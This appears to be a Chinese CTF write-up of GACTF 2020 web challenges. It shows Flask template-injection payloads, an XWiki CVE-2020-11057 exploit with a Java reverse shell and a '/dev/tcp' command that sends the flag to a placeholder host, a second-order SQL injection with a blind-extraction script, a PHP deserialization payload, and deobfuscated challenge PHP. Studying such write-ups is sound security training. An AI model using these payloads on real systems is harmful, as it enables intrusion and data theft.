1 2 3 4 5 >>> import os>>> os.popen('ls /' ).read()'bin\nboot\ndev\netc\nflag\nhome\nlib\nlib64\nmedia\nmnt\nopt\nproc\nroot\nrun\nsbin\nsrv\nsys\ntmp\nusr\nvar\n' >>> os.popen('cat /flag' ).read()'GACTF{fac9165b6a2b5ac8bd3b99fad0619366}\n'
另一种 payload:
1 name={{[].__class__.__base__.__subclasses__()[127 ].__init__.__globals__.__builtins__["open" ]("fla" .join("/g" )).read()}}
EZFLASK 伪源代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 from flask import Flask, requestimport requestsfrom waf import *import timeapp = Flask(__name__) @app.route('/ctfhint') def ctf (): hint =xxxx trick = xxxx return trick @app.route('/') def index (): @app.route('/eval', methods=["POST"]) def my_eval (): @app.route(xxxxxx, methods=["POST"]) # Secret def admin (): if __name__ == '__main__' : app.run(host='0.0.0.0' ,port=8080 )
1 2 PS C:\WINDOWS\System32> curl.exe -X POST http://149.28 .226.175 :10000 /eval -d 'eval=ctf.__globals__' {'my_eval' : <function my_eval at 0x7ff4f6b29dd0 >, 'app ': <Flask 'app_1 '>, 'waf_eval ': <function waf_eval at 0x7ff4f6b29c50 >, 'admin ': <function admin at 0x7ff4f6a73650 >, 'index ': <function index at 0x7ff4f6b29d50 >, 'waf_ip ': <function waf_ip at 0x7ff4f6b29b50 >, '__builtins__ ': <module '__builtin__ ' (built-in) >, 'admin_route ': '/h4rdt0f1nd_9792uagcaca00qjaf ', '__file__ ': 'app_1 .py ', 'request ': <Request 'http ://149 .28 .226 .175 :10000 /eval ' [POST ]>, '__package__ ': None , 'Flask ': <class 'flask .app .Flask '>, 'ctf ': <function ctf at 0x7ff4f6b29cd0 >, 'waf_path ': <function waf_path at 0x7ff4f6b29bd0 >, 'time ': <module 'time ' from '/usr /local /lib /python2 .7 /lib-dynload /time .so '>, '__name__ ': '__main__ ', 'requests ': <module 'requests ' from '/usr /local /lib /python2 .7 /site-packages /requests /__init__ .pyc '>, '__doc__ ': None }
/h4rdt0f1nd_9792uagcaca00qjaf
https://www.secpulse.com/archives/65832.html
1 2 3 4 5 6 7 8 9 10 11 12 13 curl.exe -X POST http://149.28.226.175:10000/h4rdt0f1nd_9792uagcaca00qjaf -d 'ip=127.1.1.1&port=5000&path=' from xxxx import flag app = flask.Flask(__name__) app.config['FLAG'] = flag @app.route('/') def index(): return open('app.txt').read() @app.route('/<path:hack>') def hack(hack): return flask.render_template_string(hack) if __name__ == '__main__': app.run(host='0.0.0.0',port=5000)
payload:
1 2 3 4 ip=127.1 .1 .1 &path={{url_for.__globals__['current_app' ].__dict__}}&port=5000 {'subdomain_matching': False, 'error_handler_spec': {}, '_before_request_lock': <thread.lock object at 0x7fca8afb0410>, 'jinja_env': <flask.templating.Environment object at 0x7fca8b1b83d0>, 'before_request_funcs': {}, 'teardown_appcontext_funcs': [], 'shell_context_processors': [], 'after_request_funcs': {}, 'cli': <AppGroup app_2>, '_blueprint_order': [], 'before_first_request_funcs': [], 'view_functions': {'index': <function index at 0x7fca8c1cae50>, 'static': <bound method Flask.send_static_file of <Flask 'app_2'>>, 'hack': <function hack at 0x7fca8b1fcd50>}, 'instance_path': '/app/web2tokensadfafqgqgfaosvbs/instance', 'teardown_request_funcs': {}, 'url_value_preprocessors': {}, 'config': <Config {'JSON_AS_ASCII': True, 'USE_X_SENDFILE': False, 'SESSION_COOKIE_SECURE': False, 'SESSION_COOKIE_PATH': None, 'SESSION_COOKIE_DOMAIN': None, 'SESSION_COOKIE_NAME': 'session', 'MAX_COOKIE_SIZE': 4093, 'SESSION_COOKIE_SAMESITE': None, 'PROPAGATE_EXCEPTIONS': None, 'ENV': 'production', 'DEBUG': False, 'SECRET_KEY': None, 'EXPLAIN_TEMPLATE_LOADING': False, 'MAX_CONTENT_LENGTH': None, 'APPLICATION_ROOT': '/', 'SERVER_NAME': None, 'FLAG': 'GACTF{wuhUwuHu_a1rpl4n3}', 'PREFERRED_URL_SCHEME': 'http', 'JSONIFY_PRETTYPRINT_REGULAR': False, 'TESTING': False, 'PERMANENT_SESSION_LIFETIME': datetime.timedelta(31), 'TEMPLATES_AUTO_RELOAD': None, 'TRAP_BAD_REQUEST_ERRORS': None, 'JSON_SORT_KEYS': True, 'JSONIFY_MIMETYPE': 'application/json', 'SESSION_COOKIE_HTTPONLY': True, 'SEND_FILE_MAX_AGE_DEFAULT': datetime.timedelta(0, 43200), 'PRESERVE_CONTEXT_ON_EXCEPTION': None, 'SESSION_REFRESH_EACH_REQUEST': True, 'TRAP_HTTP_EXCEPTIONS': False}>, '_static_url_path': None, 'template_context_processors': {None: [<function _default_template_ctx_processor at 0x7fca8b1fc550>]}, 'template_folder': 'templates', 'blueprints': {}, 'url_map': Map([<Rule '/' (HEAD, OPTIONS, GET) -> index>, <Rule '/static/<filename>' (HEAD, OPTIONS, GET) -> static>, <Rule '/<hack>' (HEAD, OPTIONS, GET) -> hack>]), 'name': 'app_2', '_got_first_request': True, 'import_name': '__main__', 'root_path': '/app/web2tokensadfafqgqgfaosvbs', '_static_folder': 'static', 'extensions': {}, 'url_default_functions': {}, 'url_build_error_handlers': []}
….我 flask 好像 又有点忘了….记得归纳
参考
https://www.mi1k7ea.com/2019/06/02/%E6%B5%85%E6%9E%90Python-Flask-SSTI/
xwiki CVE-2020-11057
https://jira.xwiki.org/browse/XWIKI-16960
1 2 3 4 String host="x.x.x.x" ; int port=8080 ;String cmd="/bin/bash" ; Process p=new ProcessBuilder(cmd).redirectErrorStream(true ).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while (!s.isClosed()){while (pi.available()>0 )so.write(pi.read());while (pe.available()>0 )so.write(pe.read());while (si.available()>0 )po.write(si.read());so.flush();po.flush();Thread.sleep(50 );try {p.exitValue();break ;}catch (Exception e){}};p.destroy();s.close();
// python的socket 就是连不上。。。。
也可以直接将readflag
上传到自己主机上 cat /readflag > /dev/tcp/x.x.x.x/8080
那个主机上没有: nc scp rsync
后面是逆向,交给队友了
1 2 3 4 5 0110011101100001011000110111010001100110011110110101100001010111011010010110101101101001010111110100001101010110010001010101111101110111011010010111010001101000011011110111010101110100010111110111000001100101011100100110110101101001011100110111001101101001011011110110111001011111011100110110001101110010011010010111000001110100011010010110111001100111010111110110010101111000011001010110001101110101011101000110100101101111011011100010000100100001001000010111110 # 二进制转字符串 gactf{XWiki_CVE_without_permission_scripting_execution!!!> # 修改 gactf{XWiki_CVE_without_permission_scripting_execution!!!}
carefuleyes
https://www.cnblogs.com/xhds/p/12245175.html
源代码:www.zip
与hitcon-babytrick的基本流程一样:
1 获取usernam&password->利用username&password来反序列化->get_flag
利用的代码 rename.php
二次注入
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 require_once "common.php" ;if (isset ($req['oldname' ]) && isset ($req['newname' ])) { echo "select * from `file` where `filename`='{$req['oldname']} '" ; $result = $db->query("select * from `file` where `filename`='{$req['oldname']} '" ); if ($result->num_rows > 0 ) { $result = $result->fetch_assoc(); echo "select * from `file` where `filename`='{$result['filename']} '" .PHP_EOL; $info = $db->query("select * from `file` where `filename`='{$result['filename']} '" ); $info = $info->fetch_assoc(); echo "oldfilename : " .$info['filename' ]." will be changed." ."\n" ; } else { exit ("old file doesn't exists!" ); } if ($result) { echo "before: " .$req['newname' ]."\n\r" ; $req['newname' ] = basename($req['newname' ]); echo "after: " .$req['newname' ]."\n\r" ; $result['filename' ] = addslashes($result['filename' ]); echo "update `file` set `filename`='{$req['newname']} ', `oldname`='{$result['filename']} ' where `fid`={$result['fid']} " .PHP_EOL; $re = $db->query("update `file` set `filename`='{$req['newname']} ', `oldname`='{$result['filename']} ' where `fid`={$result['fid']} " );
这里有一个坑点,在本地复现时,如果用的是win10,basename("\'a\'")
return'
而在linux return \'a\'
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 get: \'1\' //一开始传的值 update `file` set `filename`='\\\' 1\\\'' , `oldname`='1' where `fid`=11 > \'1\' //数据库中存的值 select * from `file` where `filename`='\\\' 1\\\'' > \'1\' //return $result ['filename' ] select * from `file` where `filename`='\' 1\'' > NULL // $info ['filename' ] get \\'1\\' //一开始传的值 update `file` set `filename`='\\\\\' 1\\\\\'' , `oldname`='1' where `fid`=11 > \\'1\\' //数据库中存的值 select * from `file` where `filename`='\\\\\' 1\\\\\'' > \\'1\\' //return $result ['filename' ] select * from `file` where `filename`='\\' 1\\'' ; > error check the manual that corresponds to your MySQL server version for the right syntax to use near '1\\' '' at line 1 // 注意此处的 1\\'' 已经超过逃出 '' 限制
则 payload
1 2 3 4 \\' union select password ,password ,password ,password ,password from user where privilege= 0x61646d696e ; qweqweqwe \\' union select username,username,username,username,username from user where privilege= 0x61646d696e ; XM
1 2 3 4 5 6 7 8 9 10 11 12 13 <?php class XCTFGG { private $method; private $args; public function __construct ($method, $args ) { $this ->method = $method; $this ->args = $args; } function login ( ) {} } $result = urlencode(serialize(new XCTFGG('login' ,['XM ' ,'qweqweqwe' ]))); var_dump($result);
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 POST /upload.php?data=O%3A6%3A%22XCTFGG%22%3A2%3A%7Bs%3A14%3A%22%00XCTFGG%00method%22%3Bs%3A5%3A%22login%22%3Bs%3A12%3A%22%00XCTFGG%00args%22%3Ba%3A2%3A%7Bi%3A0%3Bs%3A3%3A%22XM+%22%3Bi%3A1%3Bs%3A9%3A%22qweqweqwe%22%3B%7D%7D HTTP/1.1Host : 202.182.118.236Content-Length : 1334Cache-Control : max-age=0Upgrade-Insecure-Requests : 1Origin : http://202.182.118.236Content-Type : multipart/form-data; boundary=----WebKitFormBoundary8rNPfazXNdlq3W4yUser-Agent : Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4231.0 Safari/537.36 Edg/86.0.615.3Accept : text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Referer : http://202.182.118.236/Accept-Encoding : gzip, deflateAccept-Language : zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6Connection : close------WebKitFormBoundary8rNPfazXNdlq3W4y Content-Disposition : form-data; name="upfile"; filename="4.gif"Content-Type : image/gifGIF89aó ....省略 HTTP/1.1 200 OK Server : nginx/1.14.2Date : Sun, 30 Aug 2020 18:58:49 GMTContent-Type : text/html; charset=UTF-8Connection : closeX-Powered-By : PHP/5.6.40Content-Length : 43upload successfully!GACTF{!QAZxsw2#EDCvfr4}
Y1ng 师傅的脚本 学到了❤
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 import HackRequests as HRimport requests as reqimport randomfrom urllib.parse import quote as urlencodedef upload (name ): hack = HR.hackRequests() raw = '''POST /upload.php HTTP/1.1 Host: 124.71.191.175 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Content-Type: multipart/form-data; boundary=---------------------------257708923430047524191624862316 Origin: http://124.71.191.175 Connection: close Referer: http://124.71.191.175/ Upgrade-Insecure-Requests: 1 -----------------------------257708923430047524191624862316 Content-Disposition: form-data; name="upfile"; filename="%s.jpg" Content-Type: image/jpeg Y1ng -----------------------------257708923430047524191624862316-- ''' % name proxy=('127.0.0.1' ,'8080' ) hh = hack.httpraw(raw=raw, ssl=False ) def rename (name ): url = 'http://124.71.191.175/rename.php' data = { 'oldname' : name, 'newname' : "bbbbb%d.jpg" % random.randint(1 ,1000000 ) } header = { "Content-Type" : "application/x-www-form-urlencoded" , "Accept" : "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9" , "Origin" : "http://124.71.191.175" , "Upgrade-Insecure-Requests" : "1" } proxies={'http' :'http://127.0.0.1:8080' ,'https' :'https://127.0.0.1:8080' } r = req.post(url=url, data=data, headers=header) if "Y1ng" in r.text: return True else : return False def main (): sql = "select group_concat(password) from user" res = "" for i in range(1 ,1000 ): low = 32 high = 128 mid = (low + high) // 2 while (low < high): name = f"Y1ng' or ascii(substr(({sql} ),{i} ,1))>{mid} #" upload(name) rename_result = rename(name) if rename_result: low = mid + 1 else : high = mid mid = (low + high) // 2 if mid == 32 or mid == 127 : break res += chr(mid) print(res) if __name__ == '__main__' : main()
babyshop [复现]python .\git_extract.py http://45.63.19.130:8010/.git/
获得源代码
https://www.leavesongs.com/PENETRATION/unobfuscated-phpjiami.html
当初这题的init.php
直接使我去世,xdebug时因为session问题,一直不行
9月12日复现一波,主要是init.php
的调试过程
泪目,还好我源代码没删:
源代码此处就不粘贴了,太多了,感兴趣的老哥可以下载源代码
Link:http://xzaslxr.xyz/wp-content/uploads/2020/09/45.63.19.130_8010.zip
可在格式化网站进行格式化
PHP代码格式化美化-在线PHP代码格式化美化工具 (jsons.cn)
手动分析 已经得到的值
1 2 3 4 5 $原 = "chr" ; $虚物长度 = "count" ; $随缘 = "rand" ; $千奇百出 = "余壶血史两恐自扩劫盏铁天" ; $来者无惧 = "余壶仍灯两恐尽天" ;
ctrl h
替换上面的一些参数 , 如$原(
=> chr(
1 $虚空之数 = count($this ->大宇) - count($this ->大宇);
function 太古仓
字符串第二维 等于输入参数时的第一位的数值
1 2 3 4 5 6 7 8 9 10 function 太古仓($圆点 ) { global $虚空之数, $虚物长度; for ($内仓侍卫 = $虚空之数; $内仓侍卫 < count($this ->大宇); $内仓侍卫++) { if ($this ->大宇[$内仓侍卫][$虚空之数] == $圆点) { return $内仓侍卫; } } return $虚空之数; }
$天书, $原, $虚物长度, $异闻录, $实物长度, $寻根, $奇语切片, $出窍, $遮天之术, $虚空之数, $实打实在, $虚无缥缈;
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 function 融合( ) { global $天书, $原, $虚物长度, $异闻录, $实物长度, $寻根, $奇语切片, $出窍, $遮天之术, $虚空之数, $实打实在, $虚无缥缈; $天书 = array ("阿尔法" , "喝彩" , "查理" , "三角洲" , "回声" , "狐步舞" , "高尔夫球" , "旅馆" , "印度" , "朱丽叶" , "公斤" , "利马" , "麦克" , "十一月" , "奥斯卡" , "爸爸" , "魁北克" , "罗密欧" , "塞拉" , "探戈" , "制服" , "胜利者" , "威士忌" , "伦琴射线" , "扬基" , "祖鲁" ); $实物长度 = 点灯(array ("回声" , "印度" , "狐步舞" , "印度" , "三角洲" , "印度" , "十一月" , "旅馆" , "高尔夫球" , "旅馆" , "爸爸" , "旅馆" )); $寻根 = 点灯(array ("回声" , "印度" , "狐步舞" , "印度" , "三角洲" , "印度" , "喝彩" , "印度" , "魁北克" , "旅馆" , "回声" , "印度" )); $奇语切片 = 点灯(array ("公斤" , "奥斯卡" , "利马" , "奥斯卡" , "朱丽叶" , "奥斯卡" , "威士忌" , "麦克" , "公斤" , "奥斯卡" , "旅馆" , "奥斯卡" , "探戈" , "十一月" , "魁北克" , "十一月" , "利马" , "奥斯卡" )); $出窍 = 点灯(array ("印度" , "十一月" , "朱丽叶" , "奥斯卡" , "朱丽叶" , "奥斯卡" , "印度" , "十一月" , "魁北克" , "奥斯卡" , "威士忌" , "麦克" , "旅馆" , "奥斯卡" , "威士忌" , "十一月" , "旅馆" , "奥斯卡" )); $遮天之术 = 点灯(array ("高尔夫球" , "公斤" , "狐步舞" , "公斤" , "旅馆" , "利马" , "朱丽叶" , "公斤" , "公斤" , "旅馆" , "印度" , "旅馆" , "探戈" , "朱丽叶" , "印度" , "公斤" , "朱丽叶" , "公斤" , "旅馆" , "公斤" , "探戈" , "公斤" , "印度" , "公斤" , "朱丽叶" , "公斤" )); $虚空之数 = count($this ->大宇) - count($this ->大宇); $实打实在 = count($this ->大宇) == count($this ->酉戊) / 5 * (11 + 1 + 1 ) + 1 ; $虚无缥缈 = count($this ->大宇) == (count($天书) + 5 ) / 3 * (2 + 1 + 13 ); $异闻录 = chr($this ->太古仓("春" )) . chr($this ->太古仓("铃" )); for ($爆裂 = count($this ->大宇) - 1 ; $爆裂 < count($this ->大宇) + count($this ->丙午); $爆裂++) { $异闻录 .= chr($爆裂); } for ($爆裂 = count($this ->大宇) / (2 + 1 ) + count($this ->酉午) * (2 + 1 ); $爆裂 < count($this ->支壬) * 5 - 2 ; $爆裂++) { $异闻录 .= chr($爆裂); } for ($爆裂 = (count($this ->庚地) + count($this ->大宇)) / 2 + 1 ; $爆裂 < count($this ->大宇) - count($this ->辰寅) / (2 + 1 ); $爆裂++) { $异闻录 .= chr($爆裂); } } } function 点灯($俚语 ) { global $天书, $虚物长度, $虚空之数, $原; $偏离 = count($俚语) % 11 ; $简易之物 = "" ; for ($简易种子 = $虚空之数; $简易种子 < count($俚语) / (1 + 1 ); $简易种子++) { $贾 = $虚空之数; for ($另类种子 = $偏离; $另类种子 < $偏离 + 11 + 2 + 2 + 1 ; $另类种子++) { if ($天书[$另类种子] == $俚语[$简易种子 + $简易种子]) { $贾 += $另类种子; $贾 -= $偏离; } if ($天书[$另类种子] == $俚语[$简易种子 + $简易种子 + 1 ]) { $贾 += $另类种子 * 2 * 2 * 2 * 2 ; $贾 -= $偏离 * 2 * 2 * 2 * 2 ; } } $简易之物 .= chr($贾); } return $简易之物; } function print_var_name ($var ) { foreach ($GLOBALS as $var_name => $value) { if ($value === $var) { return $var_name; } } return false ; } $原 = "chr" ; $虚物长度 = "count" ; $随缘 = "rand" ; $千奇百出 = "余壶血史两恐自扩劫盏铁天" ; $来者无惧 = "余壶仍灯两恐尽天" ; $虚空之数 = 0 ; $fe1w0 = new 造化之神; $arr = array ($天书, $原, $虚物长度, $异闻录, $实物长度, $寻根, $奇语切片, $出窍, $遮天之术, $虚空之数, $实打实在, $虚无缥缈); for ($i=0 ;$i<count($arr);$i++){ echo print_var_name($arr[$i])." :" .$arr[$i].PHP_EOL; } $天书= /home/fe1w0/babyshop/tttttt.php:232 : array (26 ) { [0 ] => string (9 ) "阿尔法" [1 ] => string (6 ) "喝彩" [2 ] => string (6 ) "查理" [3 ] => string (9 ) "三角洲" [4 ] => string (6 ) "回声" [5 ] => string (9 ) "狐步舞" [6 ] => string (12 ) "高尔夫球" [7 ] => string (6 ) "旅馆" [8 ] => string (6 ) "印度" [9 ] => string (9 ) "朱丽叶" [10 ] => string (6 ) "公斤" [11 ] => string (6 ) "利马" [12 ] => string (6 ) "麦克" [13 ] => string (9 ) "十一月" [14 ] => string (9 ) "奥斯卡" [15 ] => string (6 ) "爸爸" [16 ] => string (9 ) "魁北克" [17 ] => string (9 ) "罗密欧" [18 ] => string (6 ) "塞拉" [19 ] => string (6 ) "探戈" [20 ] => string (6 ) "制服" [21 ] => string (9 ) "胜利者" [22 ] => string (9 ) "威士忌" [23 ] => string (12 ) "伦琴射线" [24 ] => string (6 ) "扬基" [25 ] => string (6 ) "祖鲁" } $原= /home/fe1w0/babyshop/tttttt.php:232 : string (3 ) "chr" $虚物长度= /home/fe1w0/babyshop/tttttt.php:232 : string (5 ) "count" $异闻录= /home/fe1w0/babyshop/tttttt.php:232 : string (66 ) "+=ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz./0123456789" $实物长度= /home/fe1w0/babyshop/tttttt.php:232 : string (6 ) "strlen" $寻根= /home/fe1w0/babyshop/tttttt.php:232 : string (6 ) "strpos" $奇语切片= /home/fe1w0/babyshop/tttttt.php:232 : string (9 ) "str_split" $出窍= /home/fe1w0/babyshop/tttttt.php:232 : string (9 ) "array_pop" $遮天之术= /home/fe1w0/babyshop/tttttt.php:232 : string (13 ) "base64_decode" $虚空之数= /home/fe1w0/babyshop/tttttt.php:232 : int (0 )$实打实在= /home/fe1w0/babyshop/tttttt.php:232 : bool (true )$虚无缥缈= /home/fe1w0/babyshop/tttttt.php:232 : bool (false )
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 function 双手造物($物, $左手, $右手 ) { 造化($物)(造化($左手), 造化($右手)); var_dump(造化($物)); var_dump(造化($左手)); var_dump(造化($右手)); } 双手造物("诊秀倾垫余监血泡披切天夫" , "沃乎泡误拢瓜迷物构吨悔沿抹孟扩逃规承舌天" , "劫哥沃实" ); /home/fe1w0/babyshop/tttttt.php:247 : string (7 ) "ini_set" /home/fe1w0/babyshop/tttttt.php:248 : string (14 ) "display_errors" /home/fe1w0/babyshop/tttttt.php:249 : string (3 ) "Off"
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 function 造化($奇语 ) { global $异闻录, $奇语切片, $虚物长度, $出窍, $虚空之数, $虚无缥缈, $遮天之术,$fe1w0; $fe1w0 = $奇语; $奇语 = str_split($奇语, 2 + 1 ); $造化之子 = new 造化之神(); $翻译果实 = "" ; for ($翻译种子 = $虚空之数; $翻译种子 < $虚物长度($奇语); $翻译种子++) { for ($造化种子 = $虚空之数; $造化种子 < $虚物长度($造化之子->大宇); $造化种子++) { $造化之孙 = $造化之子->大宇[$造化种子]; $造化之孙长度 = $虚物长度($造化之孙); if ($造化之孙长度 == $虚空之数) { continue ; } if ($造化之孙[$造化之孙长度 - 1 ] == $奇语[$翻译种子]) { $翻译果实 .= $异闻录[$造化种子]; array_pop($造化之子->大宇[$造化种子]); break ; } } } echo print_var_name($fe1w0).":" .base64_decode($翻译果实); return base64_decode($翻译果实); }
之后的混淆基本上全是用造化
来混淆,可以将混淆的变量名和变量值一同打印分析。
参考的E99p1ant 师傅
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 <?php class 造化之神 { function __construct ( ) { $this ->融合(); } function 融合( ) { global $天书,$异闻录,$实物长度,$寻根,$奇语切片,$出窍,$遮天之术,$虚空之数, $实打实在,$虚无缥缈; $天书=array ("阿尔法" ,"喝彩" ,"查理" ,"三角洲" ,"回声" ,"狐步舞" ,"高尔夫球" ,"旅馆" ,"印度" ,"朱丽叶" ,"公斤" ,"利马" ,"麦克" ,"十一月" ,"奥斯卡" ,"爸爸" ,"魁北克" ,"罗密欧" ,"塞拉" ,"探戈" ,"制服" ,"胜利者" ,"威士忌" ,"伦琴射线" ,"扬基" ,"祖鲁" ); $实物长度='strlen' ; $寻根='strpos' ; $奇语切片='str_split' ; $出窍='array_pop' ; $遮天之术='base64_decode' ; $虚空之数=0 ; $实打实在 = true ; $虚无缥缈 = false ; $异闻录= '+=ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz./0123456789' ; } } new 造化之神();$千奇百出="余壶血史两恐自扩劫盏铁天" ; $来者无惧="余壶仍灯两恐尽天" ; ini_set('display_errors' , 'On' ); $宝物="冻实史畏言秀倾服沃尽天夫" ; class 造齿轮 { protected $朝拜圣地; protected $贡品; protected $圣殿; protected $禁地; public function __construct ( ) { echo '__construct' .PHP_EOL; $this ->朝拜圣地 = 'storage' ; if (!is_dir($this ->朝拜圣地)){ mkdir($this ->朝拜圣地); } $this ->禁地 = array ('php' , 'flag' , 'html' , 'htaccess' ); } public function 挖掘($货物, $食物 ) { echo '挖掘' .PHP_EOL; foreach ($this ->禁地 as $元素) { if (stripos(@$_COOKIE[$食物], $元素) !== false ) { die ('invaild ' . $食物); return false ; } } $this ->圣殿 = session_id(); return true ; } public function 种植($货物,$食物 ) { echo '种植' .PHP_EOL."$this ->贡品" .$食物; $this ->贡品 = $货物; return file_put_contents('/var/www/html/babycode/' .$this ->朝拜圣地.'/sess_' .$货物,$食物); } public function 收获($货物 ) { echo '收获' .PHP_EOL; $this ->贡品=$货物; return (string )@file_get_contents('/var/www/html/babycode/' .$this ->朝拜圣地.'/sess_' .$货物); } public function 总结($货物 ) { echo '总结' .PHP_EOL."$this ->货物" ; global $实物长度,$虚无缥缈; if (strlen($this ->圣殿) <= 0 ){ return ; } return file_put_contents('' .$this ->朝拜圣地.'/note_' .$this ->圣殿,$货物)===$虚无缥缈?$虚无缥缈:true ; } public function 归纳( ) { echo '归纳' .PHP_EOL; return (string )@file_get_contents('/var/www/html/babycode/' .$this ->朝拜圣地.'/note_' .$this ->贡品); } public function 思考($货物 ) { echo '思考' .PHP_EOL; $this ->贡品=$货物; if (file_exists($this ->朝拜圣地.'/sess_' .$货物)) { unlink($this ->朝拜圣地.'/sess_' .$货物); } return true ; } public function 反省($货物 ) { echo '反省' .PHP_EOL; foreach (glob($this ->朝拜圣地.'/*' ) as $元素) { if (filemtime($元素) + $货物 < time() && file_exists($元素)) { unlink($元素); } } return true ; } public function 完毕( ) { echo '完毕' .PHP_EOL; return true ; } public function __destruct ( ) { echo '__destruct' .PHP_EOL; $this ->总结($this ->归纳()); } } $齿轮=new 造齿轮(); session_set_save_handler(array ($齿轮, '挖掘' ), array ($齿轮, '完毕' ), array ($齿轮, '收获' ), array ($齿轮, '种植' ), array ($齿轮, '反省' ), array ($齿轮, '完毕' )); session_start(); srand(mktime(0 ,0 ,0 ,0 ,0 ,0 )); $盛世=array (rand()=>array ('alice' ,0b1 ),rand()=>array ('bob' ,0b101 ),rand()=>array ('cat' ,0b10100 ),rand()=>array ('dog' ,0b1111 ),rand()=>array ('evil' ,0b101 ),rand()=>array ('flag' ,0b10011100001111 )); function 化缘( ) { return $_SESSION[' ' ]; } function 取经( ) { global $盛世; $宝藏='[' ; foreach ($_SESSION['items' ] as $元素){ $宝藏 .= $盛世[$元素][0 ].', ' ; } $宝藏.=']' ; return $宝藏; } function 念经( ) { global $齿轮; return $齿轮->归纳(); } function 造世( ) { global $盛世; $宝藏='' ; foreach ($盛世 as $按键=>$元素){ $宝藏 .= '<div class="item"><form method="POST"><div class="form-group">' . $元素[0 ]. '</div><div class="form-group"><input type="hidden" name="id" value=""' . $按键. '"><button type="submit" class="btn btn-success">buy ($' .$元素[1 ].')</button></div></form></div>' ; } return $宝藏; } global $_POST,$_SESSION,$_COOKIE;if (!isset ($_SESSION['balance' ])){ $_SESSION['balance' ] = 0b1000101110010 /2 ; } if (!isset ($_SESSION['items' ])){ $_SESSION['items' ] = []; } if (!isset ($_SESSION['note' ])){ $_SESSION['note' ] = '' ; }; if (isset ($_POST['id' ])) { if ($_SESSION['balance' ] >= $盛世[$_POST['id' ]][1 ]) { $_SESSION['balance' ] = $_SESSION['balance' ]-$盛世[$_POST['id' ]][1 ]; array_push($_SESSION['items' ], $_POST['id' ]); echo ('<span style="color:green">buy succ!</span>' ); } else { echo ('<span style="color:red">lack of balance!</span>' ); } } var_dump($_POST['note' ]); if (isset ($_POST['note' ])) { if (strlen($_POST['note' ])<=1 <<10 ) { echo "fuck" ; $齿轮->总结(str_replace(array ('&' ,'<' ,'>' ), array ('&' ,'<' ,'">' ), $_POST['note' ])); echo ('<span style="color:green">write succ!</span>' ); } else { echo ('<span style="color:red">note too long!</span>' ); } } ?>
session handler默认启动顺序是session_start分别调用的回调函数。为open read ,然后等待脚本结束,收集$_SESSION
(默认在内存中),然后关闭脚本,然后执行write,写入文件,然后close。
1 session_set_save_handler("sess_open" , "sess_close" , "sess_read" , "sess_write" , "sess_destroy" , "sess_gc" ); session_set_save_handler(array ($齿轮,'挖掘' ),array ($齿轮,'完毕' ),array ($齿轮,'收获' ),array ($齿轮,'种植' ),array ($齿轮,'反省' ),array ($齿轮,'完毕' ));
从代码脚本分析流程来看,分为两种情况
执行代码中坑: 如果你在使用解析后的代码时,遇到 file_get_content
和file_put_content
报错问题,且note可以生成并写入,即输入note后脚本执行加总结可以执行(尝试过程中发现php7.0版本都有这个问题),但之后的归纳
、总结
、 种植
无法执行,可以将路径换成/proc/self/cwd/
就可以正常执行。
题外话: 这个坑踩了一个下午,一直以为是配置问题,后来想到之前考到的一题中讲到include_once
与/x/../proc/self/cwd
搭配可以再读一次代码(之前已经包含代码了),于是猜测session_set_save_handler
解析出了问题
